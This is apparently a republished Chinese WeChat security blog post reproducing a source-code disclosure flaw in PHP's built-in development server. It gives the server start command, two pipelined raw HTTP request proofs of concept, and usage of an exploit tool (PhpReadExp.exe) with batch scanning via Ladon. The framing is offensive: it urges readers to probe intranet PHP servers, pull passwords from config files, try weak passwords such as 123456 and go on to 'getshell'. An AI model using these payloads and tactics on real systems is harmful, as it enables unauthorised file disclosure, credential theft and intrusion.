简介
在多个编程语言内置服务器上测试请求流水线时,我们观察到PHP的奇怪行为。随着我们深入研究,我们发现了PHP中的一个安全漏洞,它可能会将PHP文件的源代码暴露为静态文件,而不是按预期执行。
经过进一步测试,我们发现该漏洞在最新的PHP版本中不存在。我们对不同版本的PHP进行了进一步的测试,以确定何时修复了错误,以及原因。我们的调查使我们找到了PHP 7.4.22的修补版本,通过对未修补代码与修补代码的比较,我们可以看到为修复该漏洞所做的具体更改。
成功版本
漏洞介绍是PHP<=7.4.21版本,K8测试成功版本影响到8.x,以下随机测试的几个版本均成功读取到PHP源码
php 5.4.45
php 5.5.38
php 7.3.4nts
php 8.0.2-nts
失败版本
php 8.2.2-nts
php 8.0.27-nts
漏洞复现
命令行启动php服务器
php -S 0.0.0.0:888 -n -t ./
POC
GET /info.php HTTP/1.1rn
Host: 192.168.188.3:888rn
rn
rn
GET / HTTP/1.1rn
rn
此POC在PHP服务器不存在index.php文件时,不管新旧版本PHP均可成功读取info.php文件代码。但首页存在index.php文件时,旧版本依旧可读,但7.3.X以上版本,POC失效。
burp测试的时候要关掉自动填充Content-Length,以免复现失败
升级POC
index.php我们观察到,如果该文件存在于服务器启动的当前目录中,则不会泄露源代码。index.php然而,我们对漏洞利用 POC 进行了轻微修改,
无论文件是否存在,它都会公开源代码。其原因在于上面对bug的解释。
GET /info.php HTTP/1.1rn
Host: 192.168.188.3:888rn
rn
rn
GET /k8gege.org HTTP/1.1rn
rn
工具读取任意文件内容
工具演示读取任意文件内容,实际上不只是读取php代码,其它文本也可以,比如db.config、*.ini等相关密码配置文件。
PhpReadExp.exe http://k8gege.org 默认读取index.php内容
PhpReadExp.exe http://k8gege.org info.php 读取info.php内容
批量检测
工具可独立使用,也可当作Ladon模块使用,存在漏洞URL将回显index.php文件内容。由于是开发服务器,可能在外网存在漏洞的概率比较小,当然也不好说,可能有开发人员懒得搭Apache、Nginx、IIS等服务器,直接使用php搭建个小站也是有可能的,因为在漏洞爆光前,他们也不知道存在此漏洞啊,为了方便,一条命令搞定,自然没必要去使用中间件。内网若是扫得到,估计就是生产环境了,可能也很少人直接使用PHP开发服务器,这个我也不是太了解PHP开发人员平时喜欢直接PHP还是中间件,实战为王,不管有没有,内网遇到PHP服务器,先检测是否存在漏洞再说,不要用猜的,所谓经验只是知道可能性小,概率小和概率0是两个概念,除非你有通杀0day,轻易拿下很多项目,要不然概率小的漏洞,甚至弱口令123456这种你认为目标不可能用的密码都要尝试,虽然概率低,但在实战中上千个项目中依然有几个是通过123456进后台再getshell的,记住实战为王,表面理论或猜的都是流氓。
Ladon48 url PhpReadExp.exe
Ladon48 url.txt PhpReadExp.exe
注意
此漏洞只是读取任意文件内容,并非PHP代码执行,读取到的PHP代码,需要查看是否有相关密码,或存在相应漏洞再getshell。
https://blog.projectdiscovery.io/php-http-server-source-disclosure/
原文始发于微信公众号(K8实验室):漏洞复现php 5.5.45 - 8.0.2任意文件读取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论